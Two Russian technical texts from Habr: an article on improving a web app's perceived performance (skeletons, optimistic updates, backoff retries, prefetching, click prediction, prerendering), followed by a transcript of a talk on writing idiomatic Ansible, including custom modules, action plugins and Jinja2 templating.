Самое простое решение — все делать быстро. Но прежде, чем вы скажете: «Спасибо, капитан!», хочу напомнить, что увеличение производительности ведет к прямому уменьшению времени ожидания.
Не игнорируйте этот момент: вы обязательно должны его учитывать.
Для этого есть множество разнообразных техник, в том числе:
* lighthouse;
* devTools profiler.
Но даже если все сделать идеально, этого может оказаться недостаточно.
Есть интересная история про аэропорт [Houston](https://www.nytimes.com/2012/08/19/opinion/sunday/why-waiting-in-line-is-torture.html). Она отлично вписывается и в современные реалии разработчиков.
Существует некий сценарий использования аэропорта: самолет прилетает, высаживает пассажиров, выгружает багаж. Пассажиры идут в зону выдачи, чемоданы через какое-то время появляются на транспортере.
Люди часто жаловались на долгое ожидание багажа в аэропорту. И инженеры аэропорта Huston не спали ночами, работали сверхурочно, но реализовали выдачу багажа всего за 8 минут. Однако клиенты все равно продолжали жаловаться.
Инженеры не знали, что делать. И они решили попробовать один трюк. Высадив людей как можно дальше от зоны выдачи багажа, они вынудили их быть в активном ожидании. Пока те добирались до места назначения, багаж уже ждал их. В результате все жалобы прекратились. Но самое интересное, что реальное время выдачи багажа осталось абсолютно таким же: 8 минут.
Почему же клиенты пришли в восторг от происходящего, хотя реальная производительность никак не изменилась?
### Perceived Performance
Инженеры аэропорта улучшили Perceived Performance, или видимую производительность. Это очень глубокий термин. Видимая производительность включает в себя реальную производительность.
Если вы ускорите работу своего сайта, увидите, что он ускорился — абсолютно логичная закономерность.
Применяя разнообразные психологические трюки, грамотно проектируя свое приложение и используя умные алгоритмы приоритезации, мы можем добиться увеличения только видимой производительности. Реальная производительность при этом не изменится, но пользователь будет воспринимать произошедшее как улучшение, ускорение производительности сайта.
Все это базируется на том, что люди не очень хорошо умеют измерять реальную производительность. И именно эту особенность можно эксплуатировать.
Все дальнейшие примеры будут для Angular приложений, но, несмотря на это, они применимы к любому современному фреймворку. Приступим!
### Не блокируйте пользователя
Первый совет: ни в коем случае не стоит блокировать пользователя. Вы можете сейчас сказать: «Я и не блокирую!».
Попробуйте узнать себя в этом примере:
Допустим, мы кликаем на удаление какого-то элемента, запрашиваем данные, после чего удаляем.
Все равно не узнаете? А так?
Спиннеры — это не выход! Хоть они и могут стать ленивым способом разобраться с неудобной ситуацией.
Что можно предложить в качестве альтернативы спиннеру?
Можно нажать на кнопку «Удалить» и показать статус этой кнопки (item удаляется только для одного элемента), не демонстрируя спиннер. В дальнейшем можно отправить запрос на сервер, и когда он придет, показать, что элемент удалился, либо — при ошибке — передать данные о ней. Вы можете возразить: «Но я могу делать только 1 запрос за раз!» — это ограничение бэкенда. С помощью RxJs и оператора concat можно буквально одной строчкой кода создать минимальную очередь:
```
import { concat } from 'rxjs';
const source = concat(
myService.saveStuff({ test: 'swag '}),
myService.saveStuff({ test: 'yolo '})
);
```
Более серьезная имплементация, конечно, займет больше, чем одну строчку.
Вы можете сказать: «Я не могу не блокировать компонент потому, что он состоит из какой-то логики. То есть существуют набор элементов и действия, которые я не могу совершать».
Но ничто вам не мешает не показывать спиннер на весь экран, а поместить его только в той области, которая должна быть заблокирована по факту:
```
Loading Awesomeness...
```
В Angular есть ngx-spinner, который поддерживает такой функционал.
Это, как минимум, уменьшит время ожидания, и пользователь сможет в этот момент сделать хоть что-то.
### Обманывайте
Обман зачастую базируется на иллюзиях скорости.
Допустим, есть два спиннера с точками. Если увеличить количество точек в одном из них, кажется, что он начинает крутиться быстрее. На самом деле скорость спиннеров одинакова.
Иллюзия базируется на простом эффекте: чем больше точек, тем больше Motion Blur (размытие движения). Этот трюк используется в мультфильмах. Возможно, вы видели, что когда койот бежит очень быстро, у него размываются ноги, и вместо них появляется облако.
Где можно применить такую "иллюзию"?
* Progress Bar;
Есть исследование, показывающее, что если добавить полоски, которые идут в обратном направлении внутри Progress Bar, то визуально он выглядит как более быстрый. В такой настройке можно получить до 12% ускорения, просто применив дополнительный скин. И пользователи воспримут работу, прошедшую под этим Progress Bar, на 12% быстрее. Вот пример того, как можно реализовать [такой слайдер на CSS](https://codepen.io/uimax/pen/KgdgGa).
* Скелетон;
Если спиннеры — это плохо, что же тогда показать на экране? Можно продемонстрировать силуэт, некий образ того контента, который будет отображен.
Скелетон — это некое схематическое отображение сайта до момента его загрузки:
В этом примере мы видим, где будут расположены чаты.
Существует исследование, которое показывает, что люди воспринимают скелетоны быстрее от 10 до 20%.
То есть по ощущениям пользователей, сайты со скелетоном работают быстрее.
Существует огромное количество нужных компонентов для Angular, React, View. К примеру, для Angular есть ngx-skeleton-loader, в котором можно прописать внешний вид и сконфигурировать его. После чего мы получим наш скелетон:
```
```
### Будьте оптимистами
Помните CS:GO? Вы забежали за стену и вас убивают! Это наверняка читеры, вы же были за стеной! На самом деле это Latency/Lag compensation.
В мире frontend это называется Optimistic Updates. Самый яркий пример это Twitter
Клик отрабатывает моментально, при этом мы видим что запрос на backend отработал только через 2 секунды.
Как реализовать Optimistic Updates у себя? Давайте рассмотрим самый простой пример http запроса:
```
addItem(item) {
return this.http.post('/add-item', item)
.subscribe(res => {
this.items.push(res);
}, error => {
this.showErrorMessage(error);
})
}
```
Теперь применим к нему Optimistic Update:
```
addItem(item) {
this.items.push(item); // делаем заранее
return this.http.post('/add-item', item)
.subscribe(
res => {
// ничего не делаем в случае успеха
}, error => {
// в случае ошибки - откатываем состояние
this.items.splice(this.items.indexOf(item), 1);
this.showErrorMessage(error);
}
);
}
```
Для State Managers все немного сложнее, но для каждого есть своя реализация и свои паттерны для реализации Optimistic Updates. В этой статье я не буду приводить примеры, их легко можно найти под подходящий State Manager (redux, mobx, appollo-graphql, etc.)
### Экспоненциальная выдержка
Следующее, что необходимо проявлять — это не обычную выдержку, а экспоненциальную. Optimistic Updates имеют одну проблему: мы обязаны откатить состояния приложения назад в случае наличия проблемы с запросом и показать сообщение об ошибке. Но эту ситуацию можно сгладить. Давайте посмотрим на простой пример с Optimistic Update:
```
addItem(item) {
return this.http.post('/add-item', item)
.subscribe(res => {
this.items.push(res);
}, error => {
this.showErrorMessage(error);
})
}
```
Мы можем сделать так, что API будет выглядеть более стабильным за счет одной простой функции. Получив ошибку на запрос, просто повторяем его.
```
addItem(item) {
this.items.push(item); // делаем заранее
return this.http.post('/add-item', item)
.pipe(retry()) // повторяем запрос
.subscribe(
// ...
);
}
```
Это одна из best practice в энтерпрайз-приложениях, потому что бэкенд может не работать по разным причинам. Например, происходит деплой или хитрая маршрутизация. В любом случае очень хорошее решение: попробовать повторить. Ведь никакое API не дает 100% гарантии, 99,9% uptime.
Но есть маленький нюанс. Если мы будем повторять бесконечно, то в какой-то момент повалим наш сервер. Поэтому обязательно поставьте ограничение. Например, повторять максимум 3 раза.
```
addItem(item) {
this.items.push(item); // делаем заранее
return this.http.post('/add-item', item)
.pipe(
retry(3)
)
.subscribe(
// ...
);
}
```
Но даже с этим сценарием мы сами себе можем сделать DDOS (Distributed Denial of Service). На это попадались многие компании. Например, Apple с запуском своего сервиса MobileMe.
В чем идея? Представьте на секунду, что ваш сервис падает под нагрузкой, то есть он с ней не справляется. Если сервер перегружен, то скорее всего ответит статус-кодом 500. Если вы попробуете еще раз, возможно, следующий запрос получит ответ.
Но если сервер упал под нагрузкой, и у всех одновременно запросы ответили с ошибкой, то все начнут перезапрашивать в одно и то же время, вы сами устроите себе DDOS. На сервер будет идти постоянная нагрузка, он не сможет передохнуть и наконец-то начать отвечать нормально.
Best practice: применять exponential backoff. В rxjs есть хороший дополнительный npm пакет backoff-rxjs, который за вас имплементирует данный паттерн.
```
import { retryBackoff } from 'backoff-rxjs';
addItem(item) {
this.items.push(item);
return this.http.post('/add-item', item)
.pipe(
retryBackoff({
initialInterval: 100,
maxRetries: 3,
resetOnSuccess: true
})
)
.subscribe(
// ...
);
}
```
Имплементация очень простая, 10 строчек кода. Здесь вы можете обойтись одной. Указываете интервал, через который начнутся повторы, количество попыток, и сбрасывать ли увеличивающийся таймер. То есть вы увеличиваете по экспоненте каждую следующую попытку: первую делаете через 1 с, следующую через 2 с, потом через 4 с и т.д.
Играя с этими настройками, вы можете настраивать их под ваше API.
Следующий совет очень простой — добавить Math.random() для initialInterval:
```
import { retryBackoff } from 'backoff-rxjs';
addItem(item) {
this.items.push(item);
return this.http.post('/add-item', item)
.pipe(
retryBackoff({
initialInterval: Math.random() \* 100,
maxRetries: 3,
resetOnSuccess: true
})
)
.subscribe(
// ...
);
}
```
Идея в том, что изначально, если все одновременно начнут повторять запросы, все равно может возникнуть ситуация, когда появится огромное количество запросов одномоментно. Поэтому добавив некий рандомный запрос, вы как бы размажете нагрузку повторных запросов на бэкенд.
### Предугадывайте!
Как уменьшить ожидание, когда невозможно ускорить процесс?
Вы можете просто делать все заранее. К примеру, если вы занимаетесь изготовлением мороженого и знаете, что оно готовится очень долго, можете сделать его заранее, поставить в холодильник и избежать огромной очереди. Этот прием можно применить в сценариях с веб-производительностью.
* Предзагрузка картинок;
Один из самых простых примеров — это предзагрузка картинок. К примеру, у вас есть SPA-приложение. Вы открываете одну страничку, а на следующей есть набор иконок. Вы можете очень простым скриптом написать preload и загружать на конкретной странице картинки, необходимые для другой:
```
var images = [];
function preload() {
for (var i = 0; i < arguments.length; i++) {
images[i] = new Image();
images[i].src = preload.arguments[i];
}
}
preload(
"http://domain.tld/image-001.jpg",
"http://domain.tld/image-002.jpg",
"http://domain.tld/image-003.jpg"
)
```
Этот способ слишком «олдскульный», потому что есть предзагрузка для взрослых.
* Предзагрузка 18+
Наверняка вы сталкивались в HTML со стеком link, который позволяет переподключить stylesheets:
Немного поменяв атрибуты, мы можем применить его для предзагрузки:
Можно указать атрибут rel ="*preload*", сослаться в ссылке на наш элемент (href="styles/main.css"), и в атрибуте as описать тип предзагружаемого контента.
* prefetch.
Еще один вариант — это prefetch:
Главное — запомнить, что preload и prefetch — два самых полезных инструмента. Отличие preload от prefetch в том, что preload заставляет браузер делать запрос, принуждает его. Обычно это имеет смысл, если вы предзагружаете ресурс на текущей странице, к примеру, hero images (большую картинку).
ОК, это уже лучше, но есть одна маленькая проблема.
Если взять какой-нибудь среднестатистический сайт и начать префетчить все JavaScript модули, то средний рост по больнице составляет 3 МБ. Если мы будем префетчить только то, что видим на странице, получаем примерно половину — 1,2 МБ. Ситуация получше, но все равно не очень.
Что же делать?
### Давайте добавим Machine Learning
Сделать это можно с помощью библиотеки Guess.js. Она создана разработчиками Google и интегрирована с Google Analytics.
Анализируя паттерны поведения пользователей и, подключаясь к вашему приложению и системе сборки, она может интеллектуально делать prefetch только 7% на странице.
При этом эта библиотека будет точна на 90%. Загрузив всего 7%, она угадает желания 90% пользователей. В результате вы выигрываете и от prefetching/preloading, и от того, что не загружаете все подряд. Guess.js — это идеальный баланс.
Сейчас Guess.js работает из коробки с Angular, Nuxt js, Next.js и Gatsby. Подключение очень легкое.
### Поговорим о Click-ах
Что еще можно сделать, чтобы уменьшить ожидание?
```
Это button! Привет Вадим ;)
```
Как предугадать, на что кликнет пользователь? Есть очевидный ответ.
http://instantclick.io/click-testУ нас есть событие, которое называется mousedown. Оно срабатывает в среднем на 100-200 мс раньше, чем событие Click.
Применяется очень просто:
```
Это button! Привет Вадим ;)
```
Просто поменяв click на mousedown, мы можем выиграть 100-200 мс.
> Очень важное замечание (спасибо [RouR](https://habr.com/ru/users/RouR/) что обратил внимание на это), На mousedown вы можете только начать скачивать ресурсы следующей страницы, предзагружать контент, в общем выполнять любую подготовительную работу и только после события click — «визуально» выполнять действие (выполнять переход, обрисовывать элементы)
>
> Если вы будете выполнять действие на mousedown или hover - вы сломаете не только UX но и Accessibility. Будьте осторожны
>
>
Но мы можем заранее предсказать, что пользователь кликнет на ссылку, еще до того как сработает не только mousedown но и hover :)
Я пытаюсь кликнуть на ссылку, и сайт мне говорит, что он знал об этом на 240-500 мс раньше того, как я это сделал o\_O.
Опять магия ML? Нет. Существует паттерн: когда мы хотим на что-то кликнуть, мы замедляем движение (чтобы было легче попасть мышкой на нужный элемент).
Есть библиотека, которая анализирует с какой скоростью замедляется движение мыши, и благодаря этому может предсказать, куда я кликну.
Библиотека называется futurelink. Ее можно использовать абсолютно с любым фреймворком:
```
var futurelink = require('futurelink');
futurelink({
links: document.querySelectorAll('a'),
future: function (link) {
// `link` is probably going to be clicked soon
// Preload everything you can!
}
});
```
Вы передаете ей те DOM элементы, которые должны участвовать в прогнозе. Как только библиотека предсказывает нажатие на элемент, сработает callback. Вы можете его обработать и начать загружать страницу или залогинить пользователя заранее.
Что пользователь хочет получить при переходе на страницу?В большинстве сценариев: HTML, CSS и немного картинок.
Все это можно реализовать за счет серверного рендеринга SSR.
В Angular для этого достаточно добавить одну команду:
```
ng add @nguniversal/express-engine
```
В большинстве случаев это работает замечательно, и у вас появится Server-Side Rendering.
Но что, если вы не на Angular? Или у вас большой проект, и вы понимаете, что внедрение серверного рендеринга потребует довольно большого количества усилий?
Здесь можно воспользоваться статическим prerender: отрендерить страницы заранее, превратить их в HTML. Для этого есть классный плагин для webpack, который называется PrerenderSPAPlugin:
```
const path = require('path')
const PrerenderSPAPlugin = require('prerender-spa-plugin')
module.exports = {
plugins: [
...
new PrerenderSPAPlugin({
staticDir: path.join(__dirname, 'dist'),
routes: [ '/', '/about', '/some/deep/nested/route' ],
})
]
}
```
В нем нужно указываете директорию, куда вы хотите сохранять пререндеренные urls, и перечислить те, для которых нужно отрендерить контент заранее.
Но вы можете сделать все еще проще: зайти в свое SPA приложение и написать:
```
document.documentElement.outerHTML
```
получить пререндеренный HTML и воспользоваться им: сохранить это в файл. И вот у вас за пару минут появилась пререндеренная страница. Если ваша страница меняется очень редко, это неплохой вариант (как бы глупо он ни выглядел).
### Заключение
Несмотря на то что Perceived Performance — очень субъективная метрика, ее можно и нужно измерять. Об этом говорилось в докладе Виктора Русаковича на FrontendConf 2019.
Он рассказывал о том, что в Скелетоне есть анимация в плавном фоне, и слева направо она воспринимается на 68% быстрее, чем справа налево. Есть разные исследования, которые показывают, что неправильно примененные техники Perceived Performance могут визуально сделать сайт хуже. Поэтому обязательно тестируйте.
Сделать это можно при помощи сервиса под названием Яндекс.Толока.
Он позволяет выбирать, какой из двух объектов лучше. Можно сделать два видео с разной анимацией и предложить пользователям оценить, какой из них быстрее. Это стоит недорого, скейлится очень хорошо. В сервисе зарегистрировано огромное количество людей из разных регионов, то есть можно делать разнообразные выборки по разным параметрам. Благодаря этому есть возможность провести серьезное UX-исследование за небольшую сумму.
Даже если в конце концов вашему начальнику покажется, что быстрее не стало, проведите исследование и попробуйте улучшить ситуацию с помощью Perceived Performance.
Perceived performance — это низковисящий фрукт почти в любой компании. Именно сейчас у вас есть возможность, применив вышеперечисленные техники, улучшить воспринимаемую производительность и сделать пользователей и менеджеров счастливыми.
Подписывайтесь на Telegram канал [obenjiro\_notes](https://t.me/obenjiro_notes) и Twitter [obenjiro](https://twitter.com/obenjiro).
> Хотите стать спикером FrontendConf 2021? Если вам есть что сказать, вы хотите подискутировать или поделиться опытом — [подавайте заявку на доклад](https://cfp.frontendconf.ru/?utmsource=tg&utmmedium=referral&utm_campaign=cfp#dates)
>
> Билеты можно приобрести [здесь](https://conf.ontico.ru/conference/join/fc2021-moscow.html?popup=1). Вы можете успеть купить их до повышения цены!
>
> Следите за нашими новостями — [Telegram](https://t.me/FrontendConfChannel), [Twitter](https://twitter.com/FrontendConfRus/), [VK](https://vk.com/frontendconf) и [FB](https://www.facebook.com/FrontendConfRussia) и присоединяйтесь к обсуждениям.
>
> | https://habr.com/ru/post/538466/ | null | ru | null |
# Ansible это вам не bash. Сергей Печенко
**Предлагаю ознакомиться с расшифровкой доклада 2019 года Сергея Печенко "Ansible — это вам не bash!"**
Пара слов обо мне.
Инженер. Кое-что знаю о IT и готов этими знаниями делиться. Нравятся люди, которые приходят с конкретными вопросами; не нравятся люди, которые хотят, чтобы за них кто-то всё сделал.
Краткий план рассказа:
* Готовим почву.
* Об императивном стиле («bashsible»).
* Зачем писать код?
* Модули, плагины.
* Шаблон модуля.
* Рабочий модуль.
* Рабочий плагин.
* Используй Jinja, Люк!
Когда мы начинаем работать на Ansible, надо учитывать два важных момента. Эти моменты предохранят вас от боли и унижения при дальнейшей эксплуатации проекта.
Во-первых, структура проекта. В документации Ansible приведены два варианта структур. Первый и второй. Если совсем на память – это второй. Дело в том, что Ansible умеет переменные групп <т.е. group\_vars> читать из каталогов. И если мы каждому сервису выдадим свой yaml, нам будет очень удобно и комфортно каким-то образом эти конфигурации версионировать, складывать в Git, проверять их линтерами. Это первый момент. Расположение файликов по каталогам показало себя с самой лучшей стороны. Я занимаюсь Ansible уже около 5 лет, это работает.
Дальше <второй момент> вам понадобится включить конвейеризацию. Начиная с версии 2.1, нам доступна совершенно шикарная вещь – конвейеризация, когда модули летят друг за другом, и все происходит быстро. Поверьте, что вы заметите увеличение скорости работы вашего проекта, заметите увеличение скорости обработки хостов невооруженным глазом, даже без каких-то замеров производительности.
Единственное исключение – это амазоновские сервисы. Связано это с особенностью работы сетевой инфраструктуры AWS. Вам понадобится для проекта на Ansible использовать хост внутри облака, т. е. запускать свой проект нужно из него.
Сейчас несколько слов о тёмной стороне – о том, с чем приходят люди в чатик по Ansible [@pro\_ansible](https://t.me/pro_ansible).
Сверху — пара классических императивных заданий. Они, конечно, подражают нормальным плейбукам, но их очень легко отличить от нормальных тасков Ansible. Они не говорят, что должно получится в итоге. Они говорят: «Что делать?». Императивный стиль написания тасков ведёт к хаосу, хаос ведёт к гневу, а гнев на тёмную сторону Силы ведёт.
Вот такой классный список. Все его внимательно читают. Если вы узнали себя в одном из предложений этого списка, то у меня для вас плохие новости – вы неявным образом отказываетесь от сервисов, которые предоставляет Ansible.
Ansible помогает управлять средой, не пуская результат на самотёк. Он помогает вам контролировать всё, что происходит. Если вы пишете императивно, то это всё благополучно игнорируете. Если вы отказываетесь от сервисов Ansible, то отказываетесь от плюшек, которые он вам даёт, и имеете все минусы. И самое неприятное, когда вы отказались от сервисов – это то, что вы не можете отказаться от ответственности за своё окружение, то есть от того, что на нем происходит, и не можете отказаться от ответственности перед коллегами и командой в организации. Поэтому не используем императивный стиль.
Раз есть тёмная сторона, то есть и светлая.
Чтобы понять, нужно ли нам писать свой код для Ansible, давайте посмотрим на объектную модель Ansible. Она достаточно проста. В базе всего 4 понятия. Это группа, хост, плейбук и плей. Группа – это то, где может быть сколько-то хостов и другие группы. Плейбук – это несколько плейев. По-русски «play» — пьесы, в которые входят действующие лица. «Playbook» — сборник пьес. На слайде видно 2 play в одном playbook.
В Ansible всегда неявно присутствует группа «all». Даже если вы ее нигде не упомянули ни разу, она все равно присутствует. Это заложено в коде Ansible — так он обрабатывает ваш inventory. И в этой группе вы можете назначить переменные, которые получат все хосты. Вы можете положить в эту группу хосты, можете положить другие группы. И самое приятное, что при запуске проекта, при чтении inventory все переменные будут вычислены по иерархии, т. е. <сверху вниз по иерархии> группы all, 2, 3, и для host3 будут валидны вот эти переменные <>. И вы для этого ничего не написали, а только положили файлы в нужный каталог. Неплохо, да?
Мы посмотрели на объектную модель. Давайте разбираться дальше. Как понять – надо ли писать свой код или не надо? А, может быть, нам стандартных модулей будет достаточно? А может, нет? Давайте рассматривать «за» и «против».
Вот список. Я набросал варианты. И сюда вам нужно будет подставить специфику конкретно вашего проекта. Я не предлагаю таблетку, которая работает сразу от всего. Это повод задуматься и принять инженерное решение, которая предполагает, что мы взвешиваем «за» и взвешиваем «против».
И по правилу Парето – 80% случаев покрываются очень простыми решениями и приносят 20% денег, особенно это касается аутсорсинга. А оставшиеся 20% случаев стоят 80% денег. Думайте сами, решайте сами.
Представим, что мы поняли, что придется писать свой код. Ansible предусматривает два варианта подключения своего кода. Код на Python нам придется писать.
Знатоки Python знают, что иногда код на Python требует какие-то модули библиотечные. Ansible для этого тоже предлагает это элегантное решение. Но это небольшой забег вперед.
В итоге мы получаем, что у нас есть два варианта запуска нашего кода на Python, который мы написали. Этот код решает проблему, которая специфична только для нашего проекта. И мы предполагаем, что это в любом случае будет лучше, чем становиться Senoir YAML Developer.
И получается, что у нас есть либо модуль, либо плагин. И в общем случае вместо размещения кода – один простой критерий. Если мы хотим, чтобы это работало там, где враждебный отдельный хост и ничего непонятно, то это модуль. Если мы хотим, чтобы это работало в контролируемой среде, то это плагин.
Давайте для начала рассмотрим модули. Самый частый случай написания своего модуля, который реализует только те фишки, которые нужны на вашем конкретном проекте, это реализация существующих процессов («у нас на проекте так принято»). И часто бывает так, что по-другому это никак не сделать, либо нужно писать очень много кода с условиями и циклами, хотя достаточно упаковать в модуль.
Но, честно говоря, из тех проектов, которые я видел, это признак некого технического долга. И я видел такое, что достаточно добавить всего лишь одну дополнительную группу в inventory, в тот самый список хостов, и все получается хорошо. И не надо писать простыню на YaML, не надо становиться Senior YaML Developer, не надо получать себе лычку «Я умею писать на Ansible» — оказывается, что достаточно добавить одну группу и две переменные.
Итак, размещение модуля. Ansible предполагает шикарное место, которое работает из коробки, которое не надо нигде прописывать — то есть шикарное место для размещения модуля. Прямо внутри проекта создаем каталог «library». Кладем в него модуль. Все. Именно из этого каталога модуль будет вычитан, склеится с аргументами и дальше, как я описал – передан в Python на враждебный, удаленный хост, где ничего неизвестно и непонятно, и запущен непосредственно там. Удобно.
И если нашему беззащитному Python-модулю что-нибудь нужно «с собой» — какие-то «верные друзья», то мы их кладем в «module\_utils». Они будут импортированы, и нам снова для этого не нужно ничего делать. За нас подумали, и это здорово. Это работает так из коробки.
Давайте рассмотрим минимальный модуль. Из чего он состоит? Тут уже говорили, что админы, девопсы – товарищи ленивые. Я тоже ленивый, и это нормально, потому что если бы мы не были ленивыми, то работали бы не в IT, а, например, копали землю. Поэтому я нашел модуль на просторах Интернета. Вот он GPL'ный. На этом слайде маленький кусочек. Минимальный импорт. Если ничего не нашли, то кидаем exception и обрабатываем его.
Почему так? Еще несколько слов об Ansible. В его исходниках тонны информации о том, что уже можно использовать из коробки, т. е. готовые exceptions, готовые словари, готовые типы данных. Поэтому не стесняйтесь смотреть в исходники. Исходники – это лучшая документация. Документация по модулям, о том, как из вызывать и с какими параметрами. Документация генерируется автоматически. И, читая её, вы поймете, как это выглядит в коде, как это работает, как это можно переиспользовать в своих модулях.
Вот из двух страничек модуль. Changed = False. Например, changed – ok. Это делается через флаг. Вот message, который модуль вам говорит. И вот еще приятная плюшка – ваш модуль может что-то положить в общее пространство переменных.
Про переменную тоже отдельно скажу. При старте модуля, при начальной обработке Ansible’ом удаленного хоста все переменные будут «сплющены». Они будут собраны в один словарь «host\_vars». И дальше мы везде можем написать «host\_vars[имя\_переменной]» и получить значение. Так работает Ansible.
Чем нам интересен такой вариант? Тем, что мы можем из модуля, изнутри через ansible\_facts добавить что-то в host\_vars для конкретного хоста, на котором будет работать этот модуль. Controller получит назад вот эти факты, и добавит host\_vars.
Конструкции типа set\_fact наверняка кто-то использовал. Есть такая необходимость их использовать. Например, ты там что-то навычислял, а потом надо куда-то сложить. Вы можете это сделать прямо из Python-кода, не записав не единого таска.
Когда мы создаем объект класса AnsibleModule, мы можем ему передать несколько аргументов. Argument\_spec – это как раз то самое, что в доке по модулю мы видим. Там написано: «аргумент такой-то, тип такой-то». Именно argument\_spec позволяет Ansible понять, какие аргументы ваш модуль ожидает, и каких типов; корректно все это дело проверить на входе, не дав модулю «взорваться» в неподходящий момент. Но опять же за нас все написано, за нас все сделано и приготовлено. Все сделано для того, чтобы нам было хорошо. Вопрос только в том, чтобы это знать и этим пользоваться, и владеть в полной мере.
Это реальный модуль из исходников Ansible. Его история тоже занятна. Достаточно долго, где-то до версии 2.4, не было абсолютно никакого модуля, который вот так, из коробки, работал бы с дашбордами Grafana'вскими. Мы были вынуждены дергать её каким-либо модулем типа «uri», либо писать bashsible, а именно — вызывать shell, curl, и передавать ему JSON c Grafana'вским дашбордом. Нашелся человек, который написал этот модуль, и теперь все могут пользоваться модулем с Grafana'вскими дашбордами.
И, как видите, он из тех же частей состоит. То, где подчеркнуто — это вам ключевые слова для поиска по исходникам, т. е. ищете всё, что заканчивается на «\_spec», и находите массу вещей. В доках вы наверняка встречали, что параметры для модуля «file», что называется, ходят вместе: например, owner, group, chmod. И они из модуля в модуль повторяются для всех модулей, которые работают c файлами. И человек его просто вставляет вот таким несложным образом, и сразу получает готовый вариант, который не надо писать. Мы его можем смело использовать.
Словарь, который мы получили — мы с ним как-то работаем и меняем его под требования нашего модуля, потому что не может добрый дядя, который пишет Ansible, знать, как и что у нас на проекте. Мы сами решаем: наш проект – наша ответственность.
Ansible умеет вашему модулю предоставлять для ключевых слов aliases (<псевдонимы>). Будет ли написано «grafana\_url» или «url» — без разницы. Главное, чтобы было написано. Вот флажок «required = true». Дальше еще какие-то параметры. Это все параметры.
Здесь вырезан кусок, который относится непосредственно к посылке запросов в Grafana. Почему вырезано? Потому что дикого интереса он не представляет именно с точки зрения доклада. Обычный код.
Вот здесь мы сам объект объявляем с argument\_spec, над которым весь предыдущий слайд трудились, возились и добавляли. А здесь мы говорим, что наш модуль не поддерживает check\_mode.
А теперь поднимите руки, кто прогоняет свои плейбуки в check\_mode? Два человека. Остальным: ребята, как минимум, задумайтесь. Это может вам очень сильно сберечь нервы при отладке, особенно, когда вы в первый раз деплоите на production.
А кто на production деплоит? Круто, молодцы. А почему без check\_mode? Об этом нужно задуматься, для того чтобы деплоить на production. У вас всё равно всегда будет первый деплой, и даже если там ещё никого нет — можно что-то сломать и сделать себе неприятно. Например, насоздавать 100 серверов на Амазоне. Зачем? Потому что с параметрами ошибся, а check\_mode не стал использовать.
Итак, мы говорим, что этот конкретный модуль не поддерживает check\_mode, потому что Grafana его не поддерживает. Но по факту нам никто не мешает предоставлять из своего модуля полный сервис: аккуратно сходить к Grafana, вычислить текущее состояние и сравнить с тем, что мы получили на входе.
И мы видим, что некоторые аргументы должны быть вместе. Мы можем для них сказать «required\_together», и Ansible проследит, чтобы в параметрах этого модуля эти конкретные аргументы были только вместе, и никак иначе. Иначе — модуль не запустится, Ansible скажет, что есть ошибка.
И mutually\_exclusive, т. е. один из двух аргументов: либо тот, либо другой, но никак не оба. Это предохраняет вас от ваших же ошибок. Здорово, когда мы можем предотвратить банальные опечатки. Самые гениальные деплои рождаются где-нибудь к четырём утра, но не всегда то, что ты запускаешь после гениального деплоя, гениально работает, несмотря на то, что было написано всё красиво.
А дальше мы обрабатываем exception, и в конце сообщаем о полученном результате пользователю.
Фактически — это production в том смысле, что его можно запустить и использовать. Это из исходников Ansible. Я думаю, что вот этим рассказом какое-то непонимание развеял, там нет ничего сложного. В крайнем случае вы всегда можете посмотреть в исходный код.
Дальше у нас есть плагины. Плагинов есть несколько видов. И для того, чтобы они запустились, их надо положить в соответствующий каталог. Есть action plugins, callback plugins и т.д. Это то самое, что «\*\_plugins» рядом с library со слайда "Размещение модуля". Вот сюда складываются плагины, те самые, которые будут работать локально.
Ansible из коробки поддерживает вот такую кучу плагинов. Это все практически написано из документации, и вы можете это взять и использовать, просто положив туда. Это все будет работать — магия, или грамотное использование соглашений.
Чаще всего используют action-плагин. Он позволяет нам сделать какие-то действия <на контроллере>. Вызывается он очень легко: tasks, assert и параметры. Все, ничего сложного. Вы можете его использовать.
Пример кода плагина. Здесь уже конкретно разобран плагин, в нем нет ничего сложного, но механика чуть-чуть другая. Мы не делаем полноценный Python-код c `if __name__ == '__main__'`, а мы объявляем конкретный производный класс. И все у нас здесь происходит в этом классе. Все сводится к простым вещам: мы делаем импорты, потом объявляем функцию «run». Именно ее Ansible вызовет при вызове данного плагина. И все, т.е. нет прямого запуска кода, мы только объявляем класс производный.
Именно вот этот подчеркнутый import сообщает Ansible, что этот файл – это action-плагин.
Опять же — о нас позаботились, о нас подумали, нам дали готовое решение. За шаблонным кодом магии почти не видно, но она здесь есть. Это — вызов шаблонизатора.
Что за шаблонизатор? Давайте о нем поговорим чуть-чуть поподробней. Называется он Jinja. А точнее Jinja2 (2.10). Именно эта версия подставится на вашу машину, на ваш контроллер, когда вы поставите Ansible.
В минимуме Jinja состоит из очень простых частей. У нас есть выражения, у нас есть операторы. И все.
И самый главный момент – это то, что написано в фигурных скобках, будет выведено, т. е. что в скобках написали, то будет и выведено.
Есть второй вариант – это операторные скобки. Они сами по себе ничего не выводят, но в них можно вызывать какие-то функции Jinja, какие-то промежуточные вычисления, создавать переменные. И самое важное, что эти переменные Ansible не видит, т. е. они существуют только на время исполнения вот этого конкретного файла, во время его шаблонизации.
Кстати, в чатиках мелькают такие штуки, что это Jinja2 Тюринг полный язык программирования. Наверное, можно сделать. Потому что цикл есть, условные выражения есть. Текст мы можем генерировать и можем заставить Jinja обрабатывать результат генерации шаблона собой же.
Типовая задача – это, например, конфигурирование систем мониторинга. Есть какая-то иерархия групп. И получается, что нам нужно с наследованием сделать сложный словарь.
Есть два одинаково неприятных варианта. Первый – это включить cache behavior = merge. В этом случае вы получите некие неожиданные эффекты. Не делайте так. А второй – это использование громоздких конструкций с фильтром «combine». Мы говорим «combine», и некоторые ключи из этого словаря будут переписаны.
Что с этим делать? Мы раскладываем файлы правильным образом с учетом той структуры каталогов, которую я показывал. group\_vars/all – это общие переменные, а дальше пошли какие-то частности, т. е. group1, group2.
Затем перебираем все группы хоста, не забываем про группу «all». И погнали – hostvars. Получаем нужный вариант, т. е. какие-то значения, которые будут перечислены в списках, т. е. получаем то самое, что не решается из коробки.
Частая задача №2 – это развесистый словарь. Хочется использовать шаблонизатор, но мы помним, что это так не работает. Как минимум, в именах ключей не может быть никаких шаблонов.
Что с этим делать? Ничего. Собирать YaML ручками с помощью Jinja. Потом вставляем вот такую конструкцию — «from\_yaml» — и пишем нужный нам результат.
*Сергей, большое спасибо за ваш доклад! Я бы хотел попросить вас рассказать о том, когда вы в Ansible используете плагины, а когда модули. Можете привести боевые примеры?*
